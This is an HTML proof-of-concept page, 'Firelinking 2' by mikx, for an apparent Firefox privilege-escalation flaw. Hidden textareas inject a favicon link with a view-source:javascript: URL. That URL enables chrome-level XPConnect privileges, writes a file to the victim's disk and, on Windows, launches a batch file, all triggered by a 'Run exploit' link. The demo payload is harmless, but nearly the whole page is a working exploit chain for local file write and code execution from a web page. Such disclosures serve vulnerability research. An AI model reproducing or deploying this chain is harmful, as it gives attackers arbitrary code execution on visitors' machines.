<html> <head> <title>Firelinking 2 - Proof-of-Concept by mikx</title> <-- This PoC is cross platform : On Windows this example creates the file --> <-- c:\booom.bat and launches it (opens a dos box with a dir command). On --> <-- Linux (tested Fedora Core) and MacOSX the example creates the file --> <-- ~/booom.txt or /booom.txt. Depending on caching the the script might --> <-- run twice in some cases (this will create an additional booom-1.txt). --> <link rel="SHORTCUT ICON" href="favicon.ico"> <script language="JavaScript" type="text/javascript"> var pf = navigator.platform.toLowerCase(); if (pf.indexOf("win") != -1) { var os = "win"; } else if (pf.indexOf("mac") != -1) { var os = "mac"; } else { var os = "linux" } function runDemo() { // this is an ugly caching workaround document.getElementById('outhtml').innerHTML = ""; document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value window.setTimeout("document.getElementById('outhtml').innerHTML += document.getElementById('linkhtml_"+os+"').value",300); } </script> </head> <body> <div style="font-family:Verdana;font-size:11px;"> <div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div> <br><br> <div style="width:600px"> <div id="outhtml" style="display:none"></div> <textarea id="clearhtml" style="display:none"> <link rel="SHORTCUT ICON" href="favicon.ico"> </textarea> <textarea id="linkhtml_win" style="display:none"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow(' javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\'); file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces. nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces. nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')"> </textarea> <textarea id="linkhtml_mac" style="display:none"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript: netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components. classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile); file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile. NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write (output,output.length);outputStream.close();','','')"> </textarea> <textarea id="linkhtml_linux" style="display:none"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript: netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components. classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file. initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile. NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write (output,output.length);outputStream.close();','','')"> </textarea> <br><br> <a href="#" onclick="runDemo();runDemo();">Run exploit</a> </div> </body> </html>
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